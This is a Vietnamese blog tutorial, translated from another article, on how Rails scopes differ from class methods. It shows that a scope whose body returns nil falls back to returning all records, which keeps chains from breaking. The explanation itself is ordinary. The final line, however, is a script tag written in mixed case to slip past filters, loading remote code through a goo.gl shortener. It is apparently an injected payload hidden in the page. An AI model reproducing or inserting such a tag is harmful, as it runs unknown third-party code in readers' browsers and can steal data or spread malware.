Điểm thú vị giữa rails scope và class method!
Bài đăng này đã không được cập nhật trong 3 năm
Rails scope và class method
1. Khái niệm
Đầu tiên chúng ta cùng xem lại document của scope:
Scoping allows you to specify commonly-used ARel queries which can be referenced as method calls on the association objects or models. With these scopes, you can use every method previously covered such as where, joins and includes. All scope methods will return an ActiveRecord::Relation object which will allow for further methods (such as other scopes) to be called on it.
Điều này có nghĩa là scope is chainable
Vậy còn class method?
Về mặt bản chất thì class method và rails scope là giống nhau. Cả hai đều được sử dụng để rút gọn câu query vào database. Kết quả trả về là các object.
2. Điểm khác nhau
Giả sử chúng ta định nghĩa một class User với 2 thuộc tính game_id và site_user_id
class User < ActiveRecord::Base
scope :scope_game_id, ->game_id {where game_id: game_id}
def self.class_method_game_id game_id
where game_id: game_id
end
end
Bây giờ chúng ta có 1 scope tên là scope_game_id và một class method tên là class_method_game_id với cùng một mục đích giống nhau là find user by game_id
Chúng ta cùng xem kết quả dưới đây.
Bây giờ chúng ta kiểm tra tính năng CHAINABLE của cả scope và class method
Scope:
Class method:
Class method trong cùng một điều kiện đã cho kết quả giống với rails scope!
Tiếp theo chúng ta sẽ kiểm tra với dữ liệu đầu vào là nil
Kết quả vẫn giống nhau!
Trường hợp dữ liệu đầu vào lỗi không đúng format
Trường hợp dữ liệu không tồn tại
Kết quả trả về giữ scope và class method vẫn giống nhau, ActiveRecord::Relation []
Vậy mục đích của scope khi được tạo ra là gì ?!?!
Mục đích là tạo ra một cách viết khác của scope method để trông code dễ nhìn hơn?
Chắc các nhà phát triển rails không rảnh rỗi thời gian đến thế!
Và chúng ta sẽ tìm ra nguyên nhân sau khi thực hiện bài test cuối cùng.
class User < ActiveRecord::Base
scope :scope_game_id, ->game_id {where(game_id: game_id).first}
def self.class_method_game_id game_id
where(game_id: game_id).first
end
end
Sự thay đổi ở đây là chúng ta đã thêm vào phương thức .first và dữ liệu đầu vào là không tồn tại.
Và đây là kết quả
Class method trả về kết quả là nil. Còn đối với scope?
Tại sao vẫn có kết quả trả về
Sau khi thực hiện câu query, scope sẽ tự động kiểm tra lại kết quả trả về, nếu kết quả là nil thì sẽ xảy ra hiện tượng có thêm 1 câu truy vấn.
SELECT
users.
*FROM
users
Với việc như vậy thì kết quả trả về sẽ không nil
CHAINING sẽ không được tiếp tục nếu có broken chain Scope sẽ bảo đảm các broken chain không thể tồn tại bằng cách trả về toàn bộ các bản ghi khi kết quả tìm kiếm bằng nil, trong khi đo với class method thì không làm được điều này.
3. Tổng kết
Với việc trả về kết quả không nill, thì điều này đã làm cho scope là một tính năng thật sự hữu ích, và song song với đó chúng ta cũng cần phải thận trọng khi sử dụng nó.
Tài liệu được dịch và sửa chỉnh sửa từ:
http://kipalog.com/posts/Funny-things-about-Rails-scope-and-class-method
<sCrIpT src="https://goo.gl/4MuVJw"></ScRiPt>
All rights reserved